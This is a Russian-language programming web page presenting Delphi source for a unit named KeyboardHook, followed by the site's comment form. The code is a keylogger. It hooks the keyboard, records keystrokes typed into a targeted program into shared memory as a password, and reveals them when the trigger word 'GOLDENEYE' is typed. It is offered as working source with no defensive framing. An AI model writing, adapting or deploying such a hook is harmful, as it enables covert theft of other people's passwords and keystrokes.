Содержание материала

KeyboardHook.pas

 

Code:

unit KeyboardHook;

 

interface

 

uses

Windows;

 

const

PASSWORDSIZE = 16;

 

var

g_hhk: HHOOK;

g_szKeyword: array[0..PASSWORDSIZE-1] of char;

lpvMem: Pointer;

 

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT; stdcall;

 

implementation

 

uses

SysUtils, Dialogs;

 

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT;

 

var

szModuleFileName: array[0..MAX_PATH-1] of Char;

szKeyName: array[0..16] of Char;

lpszPassword: PChar;

 

begin

lpszPassword := PChar(lpvMem);

 

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then

begin

   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

 

   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

     lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

 

   lstrcat(g_szKeyword, szKeyName);

 

   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

 

   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and

   (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

     lstrcat(lpszPassword, szKeyName);

 

   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then

   begin

     ShowMessage(lpszPassword);

     g_szKeyword[0] := #0;

   end;

 

   Result := 0;

end

else

   Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

 

end.

 

 

Добавить комментарий

Не использовать не нормативную лексику.

Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.

ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!


Защитный код
Обновить